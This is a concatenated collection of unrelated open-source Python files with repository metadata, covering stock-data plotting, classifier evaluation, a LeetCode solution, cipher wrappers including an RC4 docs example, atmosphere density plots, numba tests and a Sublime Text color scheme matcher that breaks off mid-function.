[ "MIT" ]

null

O.py

duongnguyenkt11/data-realtime

9d8f6c8e0f6a766c058d0696669543dbafaff63c

[ "MIT" ]

null

from functools import reduce from bokeh.plotting import figure, output_file, show from bokeh.io import output_notebook from CONSTANTS import * from utilities import * from bokeh.plotting import figure, output_file, show import pandas as pd, numpy as np ENVIRON = C.LOCAL def mmap(*args): return list(map(*args)) class O: ################################################################################ # Init # ################################################################################ def __init__(self, cleansed, df=None): self.cleansed = cleansed self.n = len(cleansed[C.CTIME]) self.hoseData = {cleansed[C.CTIME][i]: cleansed[C.CHOSE][i] for i in range(len(cleansed[C.CTIME]))} self.hoseArr = cleansed[C.CHOSE] self.stocks = sorted(list(cleansed[C.CHOSE][0].keys())) self.times = cleansed[C.CTIME] self.errorDataPoints = [] self.hours = mmap(numerizeTime, self.times) self.seconds = mmap(toSeconds, self.times) self.Xs = mmap(numerizeTime, self.times) self.p = figure(plot_width=1400, plot_height=400) self.df = pd.DataFrame.from_dict(self.cleansed) self.nnBuyVolumes = [-1] * self.n self.nnSellVolumes = [-1] * self.n self.nnBuyValues = [-1] * self.n self.nnSellValues = [-1] * self.n self.numpied = False self.allPlots = [] self.intervals = [] self.totalLiquidity = [] def numpyItUp(self): if self.numpied: return self.numpied = True a = [self.nnBuyVolumes, self.nnSellVolumes, self.nnBuyValues, self.nnSellValues, self.hours, self.seconds, self.Xs, self.times] for x in a: x = np.array(x) ################################################################################ # Utilities - Misc # ################################################################################ def timeRange(self, start, end): resStart, resEnd = -1, -1 for i in range(1, len(self.Xs)): if self.Xs[i] > start: resStart = i - 1 break for i in range(len(self.Xs) - 1, 0, -1): if self.Xs[i] < end: resEnd = i + 1 break return resStart, resEnd def setInterval(self, STEP=60): return ############################################################################### # Computation # ############################################################################### def _calculateNNVolumes_i(self, i): time = self.times[i] print(f"\r{i}: {time}", end="") hose = self.hoseData[time] buys, sells = [], [] try: buys = mmap(lambda stock: hose[stock][C.NN_BUY], self.stocks) sells = mmap(lambda stock: hose[stock][C.NN_SELL], self.stocks) except: self.errorDataPoints.append(time) finally: if len(buys) > 0 and len(sells) > 0: self.nnBuyVolumes[i] = buys self.nnSellVolumes[i] = sells def calculateNNVolumes(self): mmap(self._calculateNNVolumes_i, range(self.n)) def _calculateNNValues_i(self, i): time = self.times[i] hose = self.hoseData[time] print(f"\r{i}: {time}", end="") self.nnBuyValues[i] = (reduce(lambda a, b: a + b, map(lambda stock: hose[stock][C.NN_BUY] * hose[stock][C.COL_AVG_PRICE], self.stocks))) self.nnSellValues[i] = (reduce(lambda a, b: a + b, map(lambda stock: hose[stock][C.NN_SELL] * hose[stock][C.COL_AVG_PRICE], self.stocks))) def calculateNNValues(self): mmap(self._calculateNNValues_i, range(self.n)) def applyPricingConventions(self): self.nnBuyValues = [x / 100000 for x in self.nnBuyValues] self.nnSellValues = [x / 100000 for x in self.nnSellValues] def calculateTradedValues(self): def valAtSnapShot(time): hose = self.hoseData[time] stockTradedValue = lambda stock: hose[stock][C.COL_TOTAL_VOL]*hose[stock][C.COL_AVG_PRICE] vals = mmap(stockTradedValue, self.stocks) return reduce(lambda a, b: a + b, vals) self.totalLiquidity = mmap(valAtSnapShot, self.times) ################################################################################ # Plotting # ################################################################################ def plot_Liquidity_Bar(self): return def initializePlot(self, file,p, ENVIRON=ENVIRON, title="HOSE"): if ENVIRON == C.LOCAL: output_file(file) else: output_notebook() if p is None: p = figure(plot_width=PC.WIDTH, plot_height=PC.HEIGHT, title=title) self.allPlots.append(p) return p return p def plot_BS_Pressure(self, p=None, file=FN.PLOT_BUY_SELL_PRESSURE_FILE): p = self.initializePlot(file, p, ENVIRON=ENVIRON, title="Ap luc mua, apluc ban") p.line(self.Xs, self.cleansed[C.CBUYP], line_width=2, color="green") p.line(self.Xs, self.cleansed[C.CSELLP], line_width=2, color="red") show(p) def plot_NN_Liquidity_Bar(self, file="/home/sotola/foo.html", p=None): def prep(seconds, vals, STEP=20, REVERSED=False): # Prepare Data bins2 = []; x = [];bins, xs = intervalize(seconds, vals, STEP=STEP) for i in range(len(bins)): bins2.append(bins[i]); bins2.append(bins[i]) for i in range(len(xs)): x.append(xs[i][0]); x.append(xs[i][1]) if REVERSED: return x, [bin * -1 for bin in bins2] else: return x, bins2 p = self.initializePlot(file, p, ENVIRON=ENVIRON, title="Thanh khoan khoi nuoc ngoai") xbuy, topbuy = prep(self.seconds, self.nnBuyValues) p.vbar(x=xbuy, top=toDelta(topbuy), width=0.01, color="green") xsell, topsell = prep(self.seconds, self.nnSellValues, REVERSED=True) p.vbar(x=xsell, top=toDelta(topsell), width=0.01, color="red") show(p) def plot__Liquidity_Bar(self, file="/home/sotola/Hose-MarketLiquidity.html", p=None): def prep(seconds, vals, STEP=20, REVERSED=False): # Prepare Data bins2 = []; x = [];bins, xs = intervalize(seconds, vals, STEP=STEP) for i in range(len(bins)): bins2.append(bins[i]); bins2.append(bins[i]) for i in range(len(xs)): x.append(xs[i][0]); x.append(xs[i][1]) if REVERSED: return x, [bin * -1 for bin in bins2] else: return x, bins2 p = self.initializePlot(file, p, ENVIRON=ENVIRON, title="Thanh Khoan Thi Truong") xbuy, topbuy = prep(self.seconds, self.totalLiquidity) p.vbar(x=xbuy, top=toDelta(topbuy), width=0.01, color="green") show(p) def plot_NN_Accumulated_Values(self, p=None, file=FN.PLOT_NN_VALUES_FILE): p = self.initializePlot(file, p, ENVIRON=ENVIRON, title="Tong Thanh Khoan (NN)") p.line(self.Xs, np.array(self.nnBuyValues ) / 100000, line_width=2, color="green") p.line(self.Xs, np.array(self.nnSellValues) / 100000, line_width=2, color="red") show(p) def plot_NN_Velocity_Values(self, p=None, start=None, end=None, file=FN.PLOT_NN_VELOCITY_FILE): p = self.initializePlot(file, p, ENVIRON=ENVIRON) if not(start is None): start_i, end_i = self.timeRange(start, end) else: start_i = 0; end_i = -1 buys = [x / 100000 for x in toDelta(self.nnBuyValues)[start_i:end_i]] sells = [x / 100000 for x in toDelta(self.nnSellValues)[start_i:end_i]] diffs = [buys[i] - sells[i] for i in range(len(sells))][start_i:end_i] p.line(self.Xs[start_i:end_i], buys, line_width=2, color="green") p.line(self.Xs[start_i:end_i], sells, line_width=2, color="red") show(p)

41.137931

124

0.524009

8,027

0.961202

0

1,244

0.148964

6296eebeb1e65d269ec9089013edb6a402685434

6,790

py

Python

project1/evaluation.py

DiscoBroccoli/logistic-regression-and-naive-Bayes-from-Scratch

bcb24a9258ea004a3694e6eaa524b499c2584f96

[ "MIT" ]

null

project1/evaluation.py

DiscoBroccoli/logistic-regression-and-naive-Bayes-from-Scratch

bcb24a9258ea004a3694e6eaa524b499c2584f96

[ "MIT" ]

null

project1/evaluation.py

DiscoBroccoli/logistic-regression-and-naive-Bayes-from-Scratch

bcb24a9258ea004a3694e6eaa524b499c2584f96

[ "MIT" ]

null

import numpy as np import pandas as pd import matplotlib.pyplot as plt import seaborn as sns # [0,0] = TN # [1,1] = TP # [0,1] = FP # [1,0] = FN # cm is a confusion matrix # Accuracy: (TP + TN) / Total def accuracy(cm: pd.DataFrame) -> float: return (cm[0,0] + cm[1,1]) / cm.sum() # Precision: TP / (TP + FP) def precision(cm: pd.DataFrame) -> float: return cm[1,1] / (cm[1,1] + cm[0,1]) # False positive rate: FP / N = FP / (FP + TN) def false_positive(cm: pd.DataFrame) -> float: return cm[0,1] / (cm[0,0] + cm[0,1]) # True positive rate: TP / P = TP / (TP + FN) # Equivalent to sensitivity/recall def true_positive(cm: pd.DataFrame) -> float: return cm[1,1] / (cm[1,0] + cm[1,1]) # F1 score: 2 * precision * recall / (precision + recall) def f_score(cm: pd.DataFrame) -> float: return 2 * precision(cm) * true_positive(cm) / (precision(cm) + true_positive(cm)) # Returns a confusion matrix for labels and predictions # [[TN, FP], # [FN, TP]] def confusion_matrix(y, y_hat): cm = np.zeros((2, 2)) np.add.at(cm, [y.astype(int), y_hat.astype(int)], 1) return cm def visualize_cm(cm): df_cm = pd.DataFrame(cm, columns=['0', '1'], index=['0', '1']) df_cm.index.name = 'Actual' df_cm.columns.name = 'Predicted' plt.figure(figsize=(5, 3)) sns.heatmap(df_cm, cmap='Blues', annot=True, annot_kws={'size': 16}, fmt='g') # Function to return two shuffled arrays, is a deep copy def shuffle(x, y): x_copy = x.copy() y_copy = y.copy() rand = np.random.randint(0, 10000) np.random.seed(rand) np.random.shuffle(x_copy) np.random.seed(rand) np.random.shuffle(y_copy) return x_copy, y_copy # Shuffles and splits data into two sets # test split will be 1/size of the data def split(x, y, size): x1, y1, = shuffle(x, y) x1_test = x1[0:int(x1.shape[0] / size)] x1_train = x1[int(x1.shape[0] / size):] y1_test = y1[0:int(y1.shape[0] / size)] y1_train = y1[int(y1.shape[0] / size):] return x1_train, x1_test, y1_train, y1_test def cross_validation(k, X, Y, model, lr=0.5, regularization=0, eps=1e-2, verbose=True): # randomize X and Y by shuffling x, y = shuffle(X, Y) # split into k folds x_folds = np.array_split(x, k) y_folds = np.array_split(y, k) acc = 0 f1 = 0 prec = 0 rec = 0 cms = [] for i in range(k): validation_features = x_folds[i] validation_labels = np.squeeze(y_folds[i]) train_features = np.delete(x_folds, i, axis=0) train_features = np.concatenate(train_features) train_labels = np.delete(y_folds, i, axis=0) train_labels = np.concatenate(train_labels) m = model(train_features, train_labels) m.fit(lr, verbose=False, regularization=regularization, eps=eps) predicted_labels = m.predict(validation_features) cm = confusion_matrix(validation_labels, predicted_labels) acc += accuracy(cm) f1 += f_score(cm) prec += precision(cm) rec += true_positive(cm) cms.append(cm) if verbose: print("Accuracy:", acc/k, "Precision:", prec/k, "Recall:", rec/k, "F1:", f1/k) # Return the accuracy and array of confusion matrices return acc/k, np.array(cms) # assume 5 fold for now def cross_validation_naive(k, df, model, label, cont=[], cat=[], bin=[]): df = df.copy(deep=True) np.random.shuffle(df.values) df = df.reset_index(drop=True) indices = np.arange(df.shape[0]) indices = np.array_split(indices, k) acc = 0 f1 = 0 prec = 0 rec = 0 cms = [] for i in range(k): val = df.loc[indices[i]] train = df.loc[np.concatenate(np.delete(indices, i, axis=0))] m = model(train, label, cont, cat, bin) pred = val.apply(m.predict, axis=1) cm = confusion_matrix(val[label], pred) acc += accuracy(cm) f1 += f_score(cm) prec += precision(cm) rec += true_positive(cm) cms.append(cm) print("Accuracy:", acc / k, "Precision:", prec / k, "Recall:", rec / k, "F1:", f1 / k) # Return the accuracy and array of confusion matrices return acc / k, np.array(cms) def cv_task_2(k, X, Y, model, lr = 0.5, regularization=0, eps = 1e-2, iterations=200): # randomize X and Y by shuffling x, y = shuffle(X, Y) # split into k folds x_folds = np.array_split(x, k) y_folds = np.array_split(y, k) train_acc_history = np.empty([k, iterations]) val_acc_history = np.empty([k, iterations]) for i in range(k): val_features = x_folds[i] val_labels = np.squeeze(y_folds[i]) train_features = np.delete(x_folds, i) train_features = np.concatenate(train_features) train_labels = np.delete(y_folds, i, axis=0) train_labels = np.concatenate(train_labels) m = model(train_features, train_labels) costs = [] train_accuracies = [] val_accuracies = [] # Keep on training until difference reached threshold for j in range(iterations): # fit model for 1 iteration cost = m.fit(lr=lr, verbose=False, regularization=regularization, eps=None, epochs=1) costs.append(cost) # predict the labels and eval accuracy for train and val split val_pred_labels = m.predict(val_features) train_pred_labels = m.predict(train_features) cm_val = confusion_matrix(val_labels, val_pred_labels) cm_train = confusion_matrix(train_labels, train_pred_labels) val_accuracies.append(accuracy(cm_val)) train_accuracies.append(accuracy(cm_train)) # store the costs and accuracies train_acc_history[i] = np.array(train_accuracies) val_acc_history[i] = np.array(val_accuracies) return train_acc_history, val_acc_history def grid_search(learning_rates, epsilons, lambdas, x, y, model): max_acc = 0 arg_max = [0,0,0] for lr in learning_rates: for eps in epsilons: for regularization in lambdas: #print(lr, eps, regularization) acc, cm = cross_validation(5, x, y, lr=lr, eps=eps, regularization=regularization, model=model, verbose=False) if acc > max_acc: max_acc = acc arg_max = [lr, eps, regularization] max_cm = cm f1 = [] prec = [] rec = [] for cm in max_cm: f1.append(f_score(cm)) prec.append(precision(cm)) rec.append(true_positive(cm)) f1 = np.mean(f1) prec = np.mean(prec) rec = np.mean(rec) print(arg_max) print("Accuracy:", max_acc, "Precision:", prec, "Recall:", rec, "F1:", f1) return max_acc, arg_max

29.267241

126

0.610162

0

1,123

0.16539

62982d88e6406e32cdc302d54bc0206efda33025

957

py

Python

LeetCode/0005_Longest_Palindromic_Substring.py

Achyut-sudo/PythonAlgorithms

21fb6522510fde7a0877b19a8cedd4665938a4df

[ "MIT" ]

144

2020-09-13T22:54:57.000Z

2022-02-24T21:54:25.000Z

LeetCode/0005_Longest_Palindromic_Substring.py

Achyut-sudo/PythonAlgorithms

21fb6522510fde7a0877b19a8cedd4665938a4df

[ "MIT" ]

587

2020-05-06T18:55:07.000Z

2021-09-20T13:14:53.000Z

LeetCode/0005_Longest_Palindromic_Substring.py

Achyut-sudo/PythonAlgorithms

21fb6522510fde7a0877b19a8cedd4665938a4df

[ "MIT" ]

523

2020-09-09T12:07:13.000Z

2022-02-24T21:54:31.000Z

''' Problem:- Given a string s, find the longest palindromic substring in s. You may assume that the maximum length of s is 1000. Example 1: Input: "babad" Output: "bab" Note: "aba" is also a valid answer. ''' class Solution: def longestPalindrome(self, s: str) -> str: res = "" resLen = 0 for i in range(len(s)): # odd length l, r = i, i while l >= 0 and r < len(s) and s[l] == s[r]: if (r - l + 1) > resLen: res = s[l:r + 1] resLen = r - l + 1 l -= 1 r += 1 # even length l, r = i, i + 1 while l >= 0 and r < len(s) and s[l] == s[r]: if (r - l + 1) > resLen: res = s[l:r + 1] resLen = r - l + 1 l -= 1 r += 1 return res

25.184211

63

0.378265

730

0.7628

0

252

0.263323

6299c0fed43754304eadd3c72255fa97d06e27b5

119

py

Python

pyimagesearch/utils/__init__.py

agoila/lisa-faster-R-CNN

3b88c9b7da2106a805089f9619ea62cdc1f21d99

[ "MIT" ]

17

2018-09-09T10:56:58.000Z

2022-02-22T07:18:50.000Z

pyimagesearch/utils/__init__.py

agoila/lisa-faster-R-CNN

3b88c9b7da2106a805089f9619ea62cdc1f21d99

[ "MIT" ]

null

pyimagesearch/utils/__init__.py

agoila/lisa-faster-R-CNN

3b88c9b7da2106a805089f9619ea62cdc1f21d99

[ "MIT" ]

21

2018-09-19T11:07:10.000Z

2022-02-22T07:18:45.000Z

# import the necessary packages from .agegenderhelper import AgeGenderHelper from .imagenethelper import ImageNetHelper

39.666667

44

0.87395

0

31

0.260504

6299f854c3c07764e1143810fd65fb9514af0ec6

2,965

py

Python

pylibressl/cipher/onion.py

yl3dy/pylibressl

ffc3e195a31a6c96b28e52a7e146995219b220b2

[ "MIT" ]

2

2021-08-22T00:43:05.000Z

2021-08-22T01:57:28.000Z

pylibressl/cipher/onion.py

yl3dy/pylibressl

ffc3e195a31a6c96b28e52a7e146995219b220b2

[ "MIT" ]

null

pylibressl/cipher/onion.py

yl3dy/pylibressl

ffc3e195a31a6c96b28e52a7e146995219b220b2

[ "MIT" ]

1

2021-08-24T19:09:06.000Z

from .. import lib from ..exceptions import * from .. import _libressl from .cipher import BaseCipher from .auth import BaseCipherAuth from .auth import GOST89_HMAC_Streebog512, AES256_GCM ffi, clib = _libressl.ffi, _libressl.lib class OnionCipher(object): """Onion ciphering.""" @classmethod def new(cls, cipher_list_, name='NewOnionCipher'): """Create new onion cipher chain. Ciphers are set in encryption order. """ if isinstance(cipher_list_, str): raise ValueError('cipher_list should be a list-like thing') try: for cipher in cipher_list_: if not issubclass(cipher, BaseCipher): raise ValueError('Cipher list should contain BaseCipher ' + 'subclasses.') except TypeError: raise ValueError('cipher_list should be a list-like thing') return type(name, (cls,), {'cipher_list': cipher_list_}) def __init__(self, key_list): """Initialize onion ciphering.""" if len(key_list) != len(self.cipher_list): raise ValueError('Key list length is not equal to number of ' + 'ciphers in a chain') self._cipher_instances = [cipher(*key) for cipher, key in zip(self.cipher_list, key_list)] def encrypt(self, data): """Encrypt a message.""" is_authenticated = [issubclass(cipher, BaseCipherAuth) for cipher in self.cipher_list] message, auth_codes = data, [] for cipher, is_ae in zip(self._cipher_instances, is_authenticated): output = cipher.encrypt(message) if is_ae: message, auth_code = output auth_codes.append(auth_code) else: message = output auth_codes.append(None) return message, auth_codes def decrypt(self, data, auth_codes): """Decrypt a message.""" if len(auth_codes) != len(self._cipher_instances): raise ValueError('Authentication code list length mismatch') is_authenticated = [issubclass(cipher, BaseCipherAuth) for cipher in self.cipher_list] message = data for cipher, is_ae, auth_code in zip(reversed(self._cipher_instances), reversed(is_authenticated), reversed(auth_codes)): if is_ae: message = cipher.decrypt(message, auth_code) else: message = cipher.decrypt(message) return message Onion_AES256_GOST89 = OnionCipher.new((AES256_GCM, GOST89_HMAC_Streebog512), name='Onion_AES256_GOST89') Onion_AES256_GOST89.__doc__ = 'Onion ciphering: AES256-GCM + ' + \ 'GOST89-HMAC-Streebog512'

37.0625

79

0.577403

2,464

0.831029

0

686

0.231366

0

543

0.183137

629aa7218a98f287f8a5760fc5e65461390c3529

1,149

py

Python

tests/plots/density_estimate.py

bws428/ambiance

8cbc5fe38f34e1ce8ccf568d0961ad6573f7b612

[ "Apache-2.0" ]

18

2020-03-06T14:54:29.000Z

2022-03-21T20:20:42.000Z

tests/plots/density_estimate.py

bws428/ambiance

8cbc5fe38f34e1ce8ccf568d0961ad6573f7b612

[ "Apache-2.0" ]

7

2020-04-19T15:21:54.000Z

2022-03-05T14:27:38.000Z

tests/plots/density_estimate.py

bws428/ambiance

8cbc5fe38f34e1ce8ccf568d0961ad6573f7b612

[ "Apache-2.0" ]

7

2019-12-30T16:22:24.000Z

2021-09-08T07:36:23.000Z

import os import numpy as np import matplotlib.pyplot as plt from ambiance import Atmosphere, CONST HERE = os.path.abspath(os.path.dirname(__file__)) FILE_NAME = os.path.basename(__file__).replace('.py', '.png') PATH_OUT = os.path.join(HERE, FILE_NAME) def density_estimate(h): return 10**((h - 2.33e3)/-16.3e3) # Make an atmosphere object heights = np.linspace(-10e3, 90e3, num=1000) rho_actual = Atmosphere(heights, check_bounds=False).density rho_approx = density_estimate(heights) fig, (ax1, ax2) = plt.subplots(1, 2, sharey=True, tight_layout=True) ax1.plot(rho_actual, heights/1000, label='Actual', c='blue') ax1.plot(rho_approx, heights/1000, '--', label='Estimate', c='red') ax1.set_xlabel("Density [kg/m^3]") ax1.set_ylabel("Height [km]") ax1.set_xscale("log") ax1.grid() ax1.legend() for ax in (ax1, ax2): ax.axhline(y=CONST.h_min/1000, ls=':', color='black') ax.axhline(y=CONST.h_max/1000, ls=':', color='black') rdiff = (rho_approx - rho_actual)/rho_actual ax2.plot(rdiff*100, heights/1000, label='Relative error', c='red') ax2.set_xlabel("Relative error [%]") ax2.grid() plt.savefig(PATH_OUT) plt.show() plt.clf()

27.357143

68

0.711923

0

168

0.146214

629b94b4505379de3aa682273cf3ce0b75e0c007

1,277

py

Python

pkgs/numba-0.24.0-np110py27_0/lib/python2.7/site-packages/numba/tests/test_sets.py

wangyum/anaconda

6e5a0dbead3327661d73a61e85414cf92aa52be6

[ "Apache-2.0", "BSD-3-Clause" ]

1

2015-01-29T06:52:36.000Z

pkgs/numba-0.24.0-np110py27_0/lib/python2.7/site-packages/numba/tests/test_sets.py

wangyum/anaconda

6e5a0dbead3327661d73a61e85414cf92aa52be6

[ "Apache-2.0", "BSD-3-Clause" ]

null

pkgs/numba-0.24.0-np110py27_0/lib/python2.7/site-packages/numba/tests/test_sets.py

wangyum/anaconda

6e5a0dbead3327661d73a61e85414cf92aa52be6

[ "Apache-2.0", "BSD-3-Clause" ]

null

from __future__ import print_function import numba.unittest_support as unittest from numba.utils import PYVERSION from .support import TestCase, enable_pyobj_flags def build_set_usecase(*args): ns = {} src = """if 1: def build_set(): return {%s} """ % ', '.join(repr(arg) for arg in args) code = compile(src, '<>', 'exec') eval(code, ns) return ns['build_set'] needs_set_literals = unittest.skipIf(PYVERSION < (2, 7), "set literals unavailable before Python 2.7") class SetTestCase(TestCase): @needs_set_literals def test_build_set(self, flags=enable_pyobj_flags): pyfunc = build_set_usecase(1, 2, 3, 2) self.run_nullary_func(pyfunc, flags=flags) @needs_set_literals def test_build_heterogenous_set(self, flags=enable_pyobj_flags): pyfunc = build_set_usecase(1, 2.0, 3j, 2) self.run_nullary_func(pyfunc, flags=flags) # Check that items are inserted in the right order (here the # result will be {2}, not {2.0}) pyfunc = build_set_usecase(2.0, 2) got, expected = self.run_nullary_func(pyfunc, flags=flags) self.assertIs(type(got.pop()), type(expected.pop())) if __name__ == '__main__': unittest.main()

29.697674

82

0.653876

683

0.534847

0

643

0.503524

0

228

0.178543

629ca661207da75df901826b3e4cddc99718c385

1,188

py

Python

docs/_static/rc4.py

Varbin/pep272-encryption

db0795396226a9d49d8825e29c550739ff222539

[ "CC0-1.0" ]

1

2021-07-08T21:37:17.000Z

docs/_static/rc4.py

Varbin/pep272-encryption

db0795396226a9d49d8825e29c550739ff222539

[ "CC0-1.0" ]

null

docs/_static/rc4.py

Varbin/pep272-encryption

db0795396226a9d49d8825e29c550739ff222539

[ "CC0-1.0" ]

null

from pep272_encryption import PEP272Cipher, MODE_ECB block_size = 1 key_size = 0 def new(*args, **kwargs): return RC4Cipher(*args, **kwargs) class RC4Cipher(PEP272Cipher): block_size = 1 key_size = 0 def __init__(self, key, mode=MODE_ECB, **kwargs): if mode != MODE_ECB: raise ValueError("Stream ciphers only support ECB mode") self.S = list(range(256)) j = 0 for i in range(256): j = (j + self.S[i] + key[i % len(key)]) % 256 self.S[i], self.S[j] = self.S[j], self.S[i] self.i = self.j = 0 PEP272Cipher.__init__(self, key, mode, **kwargs) def encrypt_block(self, key, block, **kwargs): self.i = (self.i + 1) % 256 self.j = (self.j + self.S[self.i]) % 256 self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i] K = self.S[(self.S[self.i] + self.S[self.j]) % 256] return bytes([block[0] ^ K]) def decrypt_block(self, key, block, **kwargs): return self.encrypt_block(key, block, **kwargs) assert RC4Cipher(b'\x01\x02\x03\x04\x05').encrypt(b'\x00'*16) \ == b"\xb29c\x05\xf0=\xc0'\xcc\xc3RJ\n\x11\x18\xa8"

27.627907

71

0.574074

913

0.768519

0

115

0.096801

629e0a7c590dbbe85c6d17dfffa34ca982e371ac

12,316

py

Python

Packages/mdpopups/st3/mdpopups/st_color_scheme_matcher.py

Michael-Villano/Sublime-setup

15a992d5982337169dadb50fd0dbca4ca3be992e

[ "MIT" ]

49

2016-06-29T22:51:50.000Z

2020-07-06T09:15:41.000Z

Packages/mdpopups/st3/mdpopups/st_color_scheme_matcher.py

Michael-Villano/Sublime-setup

15a992d5982337169dadb50fd0dbca4ca3be992e

[ "MIT" ]

1

2019-07-20T11:09:14.000Z

Packages/mdpopups/st3/mdpopups/st_color_scheme_matcher.py

Michael-Villano/Sublime-setup

15a992d5982337169dadb50fd0dbca4ca3be992e

[ "MIT" ]

13

2016-09-13T13:26:24.000Z

2021-04-28T03:17:19.000Z

""" color_scheme_matcher. Licensed under MIT. Copyright (C) 2012 Andrew Gibson <agibsonsw@gmail.com> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. --------------------- Original code has been heavily modifed by Isaac Muse <isaacmuse@gmail.com> for the ExportHtml project. Algorithm has been split out into a separate library and been enhanced with a number of features. """ from __future__ import absolute_import import sublime import re from .rgba import RGBA from os import path from collections import namedtuple from plistlib import readPlistFromBytes class SchemeColors( namedtuple( 'SchemeColors', ['fg', 'fg_simulated', 'bg', "bg_simulated", "style", "fg_selector", "bg_selector", "style_selectors"], verbose=False ) ): """SchemeColors.""" class SchemeSelectors(namedtuple('SchemeSelectors', ['name', 'scope'], verbose=False)): """SchemeSelectors.""" def sublime_format_path(pth): """Format path for sublime internal use.""" m = re.match(r"^([A-Za-z]{1}):(?:/|\\)(.*)", pth) if sublime.platform() == "windows" and m is not None: pth = m.group(1) + "/" + m.group(2) return pth.replace("\\", "/") class ColorSchemeMatcher(object): """Determine color scheme colors and style for text in a Sublime view buffer.""" def __init__(self, scheme_file, color_filter=None): """Initialize.""" if color_filter is None: color_filter = self.filter self.color_scheme = path.normpath(scheme_file) self.scheme_file = path.basename(self.color_scheme) self.plist_file = color_filter( readPlistFromBytes( re.sub( br"^[\r\n\s]*[\s\r\n]*|", b'', sublime.load_binary_resource(sublime_format_path(self.color_scheme)) ) ) ) self.scheme_file = scheme_file self.matched = {} self.parse_scheme() def filter(self, plist): """Dummy filter call that does nothing.""" return plist def parse_scheme(self): """Parse the color scheme.""" color_settings = {} for item in self.plist_file["settings"]: if item.get('scope', None) is None and item.get('name', None) is None: color_settings = item["settings"] break # Get general theme colors from color scheme file bground, bground_sim = self.strip_color( color_settings.get("background", '#FFFFFF'), simple_strip=True ) # Need to set background so other colors can simulate their transparency. self.special_colors = { "background": {'color': bground, 'color_simulated': bground_sim} } fground, fground_sim = self.strip_color(color_settings.get("foreground", '#000000')) sbground = self.strip_color(color_settings.get("selection", fground))[0] sbground_sim = self.strip_color(color_settings.get("selection", fground_sim))[1] sfground, sfground_sim = self.strip_color(color_settings.get("selectionForeground", None)) gbground = self.strip_color(color_settings.get("gutter", bground))[0] gbground_sim = self.strip_color(color_settings.get("gutter", bground_sim))[1] gfground = self.strip_color(color_settings.get("gutterForeground", fground))[0] gfground_sim = self.strip_color(color_settings.get("gutterForeground", fground_sim))[1] self.special_colors["foreground"] = {'color': fground, 'color_simulated': fground_sim} self.special_colors["background"] = {'color': bground, 'color_simulated': bground_sim} self.special_colors["selectionForeground"] = {'color': sfground, 'color_simulated': sfground_sim} self.special_colors["selection"] = {'color': sbground, 'color_simulated': sbground_sim} self.special_colors["gutter"] = {'color': gbground, 'color_simulated': gbground_sim} self.special_colors["gutterForeground"] = {'color': gfground, 'color_simulated': gfground_sim} # Create scope colors mapping from color scheme file self.colors = {} for item in self.plist_file["settings"]: name = item.get('name', '') scope = item.get('scope', None) color = None style = [] if 'settings' in item and scope is not None: color = item['settings'].get('foreground', None) bgcolor = item['settings'].get('background', None) if 'fontStyle' in item['settings']: for s in item['settings']['fontStyle'].split(' '): if s == "bold" or s == "italic": # or s == "underline": style.append(s) if scope is not None and (color is not None or bgcolor is not None): fg, fg_sim = self.strip_color(color) bg, bg_sim = self.strip_color(bgcolor) self.colors[scope] = { "name": name, "scope": scope, "color": fg, "color_simulated": fg_sim, "bgcolor": bg, "bgcolor_simulated": bg_sim, "style": style } def strip_color(self, color, simple_strip=False): """ Strip transparency from the color value. Transparency can be stripped in one of two ways: - Simply mask off the alpha channel. - Apply the alpha channel to the color essential getting the color seen by the eye. """ if color is None or color.strip() == "": return None, None rgba = RGBA(color.replace(" ", "")) if not simple_strip: bground = self.special_colors['background']['color_simulated'] rgba.apply_alpha(bground if bground != "" else "#FFFFFF") return color, rgba.get_rgb() def get_special_color(self, name, simulate_transparency=False): """ Get the core colors (background, foreground) for the view and gutter. Get the visible look of the color by simulated transparency if requrested. """ return self.special_colors.get(name, {}).get('color_simulated' if simulate_transparency else 'color') def get_plist_file(self): """Get the plist file used during the process.""" return self.plist_file def get_scheme_file(self): """Get the scheme file used during the process.""" return self.scheme_file def guess_color(self, scope_key, selected=False, explicit_background=False): """ Guess the colors and style of the text for the given Sublime scope. By default, we always fall back to the schemes default background, but if desired, we can show that no background was explicitly specified by returning None. This is done by enabling explicit_background. This will only show backgrounds that were explicitly specified. This was orginially introduced for mdpopups so that it would know when a background was not needed. This allowed mdpopups to generate syntax highlighted code that could be overlayed on block elements with different background colors and allow that background would show through. """ color = self.special_colors['foreground']['color'] color_sim = self.special_colors['foreground']['color_simulated'] bgcolor = self.special_colors['background']['color'] if not explicit_background else None bgcolor_sim = self.special_colors['background']['color_simulated'] if not explicit_background else None style = set([]) color_selector = SchemeSelectors("foreground", "foreground") bg_selector = SchemeSelectors("background", "background") style_selectors = {"bold": SchemeSelectors("", ""), "italic": SchemeSelectors("", "")} if scope_key in self.matched: color = self.matched[scope_key]["color"] color_sim = self.matched[scope_key]["color_simulated"] style = self.matched[scope_key]["style"] bgcolor = self.matched[scope_key]["bgcolor"] bgcolor_sim = self.matched[scope_key]["bgcolor_simulated"] selectors = self.matched[scope_key]["selectors"] color_selector = selectors["color"] bg_selector = selectors["background"] style_selectors = selectors["style"] else: best_match_bg = 0 best_match_fg = 0 best_match_style = 0 for key in self.colors: match = sublime.score_selector(scope_key, key) if self.colors[key]["color"] is not None and match > best_match_fg: best_match_fg = match color = self.colors[key]["color"] color_sim = self.colors[key]["color_simulated"] color_selector = SchemeSelectors(self.colors[key]["name"], self.colors[key]["scope"]) if self.colors[key]["style"] is not None and match > best_match_style: best_match_style = match for s in self.colors[key]["style"]: style.add(s) if s == "bold": style_selectors["bold"] = SchemeSelectors( self.colors[key]["name"], self.colors[key]["scope"] ) elif s == "italic": style_selectors["italic"] = SchemeSelectors( self.colors[key]["name"], self.colors[key]["scope"] 